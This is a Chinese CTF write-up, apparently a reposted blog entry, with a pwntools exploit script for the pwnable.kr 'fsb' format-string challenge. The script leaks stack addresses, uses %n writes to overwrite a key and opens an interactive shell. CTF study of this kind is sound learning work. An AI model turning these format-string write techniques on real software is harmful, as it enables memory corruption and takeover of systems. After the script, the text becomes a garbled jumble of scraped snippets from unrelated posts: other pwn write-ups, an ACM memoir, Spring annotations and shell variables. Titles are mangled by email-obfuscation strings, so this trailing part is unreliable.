【PWN】[email protected] exploit

利用典型的format string 漏洞实现内存泄露与内存覆写从而修改key实现直接通过,当然也可以覆写got表的内容改变程序执行流,这两个的缺点就是覆写的时候那个巨大的字符串确实需要很长时间才能输出完实现覆盖,看了国外的writeup里面提到了在内存中搜索key的地址,至少在时间上不会这么长,而且也是另一种截然不同的思路了。。

这一题确实学习到了不少,比如$n的使用,esp ebp的高级利用,对fsb有了一个更深的理解,顺便膜拜了一下CMU的PPP战队,为以后提供了不少经验吧~都在脚本里了~加油!

#Exploit for [email protected]

#@Windcarp 2015.07.24

from pwn import *

#init

context(arch = ‘i386‘, os = ‘linux‘)

local=True

if local:

p = process("./fsb")

else:

p = remote("pwnable.kr", 9011)

raw_input()

#payload

payload1 = ‘nothing‘#rewrite the content of extr_ebp to the address of key

payload2 = ‘%134520928c%18$n‘

payload3 = ‘%14$x.%18$x‘#leak the address of ebp to caculate offset

payload4 = ‘%%%d$n‘#overwrite the content of key to zero

#do attack

print ‘[*] info: ‘ + p.recvuntil(‘\n‘)

p.send(payload1 + ‘\n‘)

p.recvuntil(‘\n‘)

print ‘[*] info: ‘ + p.recvuntil(‘\n‘)

p.send(payload2 + ‘\n‘)

p.recvuntil(‘\n‘)

p.recvuntil(‘\n‘)

print ‘[*] info: ‘ + p.recvuntil(‘\n‘)

p.send(payload3 + ‘\n‘)

leak = p.recvuntil(‘\n‘)

print ‘[*] leak: ‘ + repr(leak)

p.recvuntil(‘\n‘)

p.recvuntil(‘\n‘)

print ‘[*] info: ‘ + p.recvuntil(‘\n‘)

tmp1,tmp2 = leak.split(‘.‘)

esp_addr = int(tmp1,16) - 0x50

extr_ebp_addr = int(tmp2,16)

offset = (extr_ebp_addr - esp_addr) / 4

#we can calculate key now but we choose to overwrite

p.send(payload4 % offset + ‘\n‘)

print ‘[*] 1 ‘ + p.recvuntil(‘\n‘)

print ‘[*] 2 ‘ + p.recvuntil(‘\n‘)

print ‘[*] 3 ‘ + p.recvuntil(‘\n‘)#wait a sec

print ‘[*] keyinfo: ‘ + p.recvuntil(‘\n‘)#key:

p.send(‘0‘ + ‘\n‘)

print ‘[*] info: ‘ + p.recvuntil(‘\n‘)#congraz

#yeah we got the shell!

p.interactive()

时间: 2024-11-29 01:07:55

【PWN】[email protected] exploit的相关文章

【PWN】[email protected] 日课

Code:int __cdecl main(int argc, const char **argv, const char **envp){ int result; // [email protected] char sloganstr; // [sp+1Ch] [bp-9Ch]@1 char namestr[16]; // [sp+9Ch] [bp-1Ch]@1 size_t nbytes; // [sp+ACh] [bp-Ch]@1 nbytes = 16; *(_DWORD *)names

【PWN】[email protected]

#Exploit for [email protected] #@Windcarp 2015.07.05 from pwn import * #init context(arch = 'i386', os = 'linux') local=True if local: p = process("./urldecoder") libc = ELF("/lib/i386-linux-gnu/libc.so.6") else: p = remote("166.1

【转】[email protected]·ACM/ICPC 回忆录

转自:http://hi.baidu.com/ordeder/item/2a342a7fe7cb9e336dc37c89 2009年09月06日 星期日 21:55 初识ACM最早听说ACM/ICPC这项赛事是在大三上的算法课上张老师提到的,当时我们学校的组织参加这项活动才刚刚起步,我也没太在意,总觉得那是非常遥远的事,事实上当时我也从未相当如今我们能获得现在的成绩.真正踏入ACM/ICPC这个神奇的世界,不得不提到2004那一年我们学校的参赛队伍xmutank,正是听了pipo师兄的精彩演讲以

【转】[email protected]注解与自动装配

1   配置文件的方法 我们编写spring 框架的代码时候.一直遵循是这样一个规则:所有在spring中注入的bean 都建议定义成私有的域变量.并且要配套写上 get 和 set方法. Boss 拥有 Office 和 Car 类型的两个属性:       清单 3. Boss.java [java] view plaincopy package com.baobaotao; public class Boss { private Car car; private Office office

【SSL】[email protected]: A Messy State of the Union: Taming the Composite State Machines of TLS

【shell学习笔记】$#,[email protected],$0,$1,$2的含义解释

http://kodango.com/useful-documents-about-shell $$  shell本身的PID(ProcessID) $!   shell最后运行的后台Process的PID $?   最后运行的命令的返回值,用于检查上一条命令是否执行成功. $*   所有参数列表,作为一个整体. [email protected]  所有参数列表.单独的作为一个整体. $#  添加到Shell的参数个数. $0   Shell 本身的文件名.

【PWN】pwnable.kr echo1 writeup

#Exploit for [email protected] #@Windcarp 2015.07.23 from pwn import * #init context(arch = 'amd64', os = 'linux') local=False if local: p = process("./echo1") libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so") else: p = remote("pwn

【PWN】ISG2015 PWN 400 DICT WRITEUP

本题的利用思路是,因为REALLOC之后没有做检查,可以使ptr的值置为0,因此可以控制ptr之前的值,从而造成内存任意写的漏洞.利用是通过覆写got表,使用/bin/sh字符串作为realloc(system)的参数,从而拿到shell. 漏洞位置 任意写 利用 首先来看漏洞位置 ,因为ptr置0之后,可控参数有: v1 = (int)((char *)*(&ptr + 2 * v4) + 32 * (v5 + v2)); ptr是0,v5是wordcount,v2是从0开始遍历到新加的词数,

【PWN】Pwnable.kr echo2 writeup

依旧是基本技巧的考察,shellcode的寻找着实费了一番周折,然后就是FSB和UAF漏洞的利用,很好的一题! #Exploit for [email protected] #@Windcarp 2015.07.23 from pwn import * #init context(arch = 'amd64', os = 'linux') local=False if local: p = process("./echo2") libc = ELF("/lib/x86_64-